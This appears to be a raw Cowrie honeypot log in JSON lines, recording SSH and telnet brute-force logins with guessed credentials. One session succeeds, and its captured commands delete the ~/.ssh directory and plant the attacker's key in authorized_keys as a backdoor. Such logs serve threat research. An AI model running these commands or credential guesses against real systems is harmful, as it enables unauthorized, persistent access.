{"eventid":"cowrie.session.closed","duration":54.143903970718384,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:33.957570Z","src_ip":"134.209.8.29","session":"c1c31a95bc1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.65004253387451,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:37.402606Z","src_ip":"38.54.119.93","session":"1fd68f8c5fd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39148,"dst_ip":"10.17.0.5","dst_port":23,"session":"f923383801a3","protocol":"telnet","message":"New connection: 38.54.119.93:39148 (10.17.0.5:23) [session: f923383801a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:41.845287Z"}
{"eventid":"cowrie.session.closed","duration":5.811774015426636,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:47.656913Z","src_ip":"38.54.119.93","session":"f923383801a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.179322242736816,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:55.440728Z","src_ip":"38.54.119.93","session":"c248ca3b24f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":5588,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5951409bdbc","protocol":"ssh","message":"New connection: 205.254.166.101:5588 (159.203.135.109:22) [session: f5951409bdbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:00.489835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:00.501904Z","src_ip":"205.254.166.101","session":"f5951409bdbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:00.720833Z","src_ip":"205.254.166.101","session":"f5951409bdbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3admin","password":"123456","message":"login attempt [ts3admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:01.591895Z","src_ip":"205.254.166.101","session":"f5951409bdbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:02.805955Z","src_ip":"205.254.166.101","session":"f5951409bdbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.25032687187195,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:03.839427Z","src_ip":"134.209.8.29","session":"f8cfe747cf75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52688,"dst_ip":"159.203.135.109","dst_port":23,"session":"0022cdd4b549","protocol":"telnet","message":"New connection: 134.209.8.29:52688 (159.203.135.109:23) [session: 0022cdd4b549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:04.214282Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55974,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e0abec2a75","protocol":"telnet","message":"New connection: 38.54.119.93:55974 (10.17.0.5:23) [session: f1e0abec2a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:07.105728Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51356,"dst_ip":"159.203.135.109","dst_port":23,"session":"edeb99c79a97","protocol":"telnet","message":"New connection: 134.209.8.29:51356 (159.203.135.109:23) [session: edeb99c79a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:13.299672Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":50250,"dst_ip":"10.17.0.5","dst_port":22,"session":"5927773e008f","protocol":"ssh","message":"New connection: 34.135.200.178:50250 (10.17.0.5:22) [session: 5927773e008f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:19.167931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:19.173149Z","src_ip":"34.135.200.178","session":"5927773e008f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:19.211356Z","src_ip":"34.135.200.178","session":"5927773e008f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":46524,"dst_ip":"159.203.135.109","dst_port":23,"session":"d260adf10638","protocol":"telnet","message":"New connection: 194.233.64.34:46524 (159.203.135.109:23) [session: d260adf10638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:19.295011Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx!","message":"login attempt [ubuntu/1qaz2wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:19.383304Z","src_ip":"34.135.200.178","session":"5927773e008f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.925646543502808,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:20.226048Z","src_ip":"134.209.8.29","session":"edeb99c79a97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:20.421908Z","src_ip":"34.135.200.178","session":"5927773e008f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53592,"dst_ip":"159.203.135.109","dst_port":23,"session":"f349d4e160e6","protocol":"telnet","message":"New connection: 134.209.8.29:53592 (159.203.135.109:23) [session: f349d4e160e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:23.407254Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":49858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1256b0da4a28","protocol":"ssh","message":"New connection: 150.95.157.171:49858 (10.17.0.5:22) [session: 1256b0da4a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:27.117070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:27.122091Z","src_ip":"150.95.157.171","session":"1256b0da4a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:27.278181Z","src_ip":"150.95.157.171","session":"1256b0da4a28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1111","message":"login attempt [postgres/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:27.893323Z","src_ip":"150.95.157.171","session":"1256b0da4a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:29.060121Z","src_ip":"150.95.157.171","session":"1256b0da4a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.946861505508423,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:31.354007Z","src_ip":"134.209.8.29","session":"f349d4e160e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":47716,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51898292893","protocol":"ssh","message":"New connection: 147.50.231.135:47716 (10.17.0.5:22) [session: a51898292893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:39.862698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:39.868277Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:40.129633Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.39967584609985,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:40.613819Z","src_ip":"134.209.8.29","session":"0022cdd4b549","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin#123","message":"login attempt [admin/admin#123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:41.209628Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:41.786154Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:41.790027Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:41.794848Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43698,"dst_ip":"159.203.135.109","dst_port":23,"session":"e95ab9031343","protocol":"telnet","message":"New connection: 134.209.8.29:43698 (159.203.135.109:23) [session: e95ab9031343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:41.891669Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:42.060586Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:42.626591Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:42.630220Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:42.901876Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:42.906927Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":47482,"dst_ip":"10.17.0.5","dst_port":22,"session":"35e6c537d734","protocol":"ssh","message":"New connection: 147.50.231.135:47482 (10.17.0.5:22) [session: 35e6c537d734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:43.159115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:43.163959Z","src_ip":"147.50.231.135","session":"35e6c537d734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:43.426360Z","src_ip":"147.50.231.135","session":"35e6c537d734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.8576502799987793,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:43.749203Z","src_ip":"134.209.8.29","session":"e95ab9031343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40296,"dst_ip":"159.203.135.109","dst_port":23,"session":"10647a8e94c7","protocol":"telnet","message":"New connection: 134.209.8.29:40296 (159.203.135.109:23) [session: 10647a8e94c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:44.346033Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:44.506651Z","src_ip":"147.50.231.135","session":"35e6c537d734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:45.772420Z","src_ip":"147.50.231.135","session":"35e6c537d734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":47494,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a63cd78fd8","protocol":"ssh","message":"New connection: 147.50.231.135:47494 (10.17.0.5:22) [session: 04a63cd78fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:46.029613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:46.034787Z","src_ip":"147.50.231.135","session":"04a63cd78fd8","protocol":"ssh"}
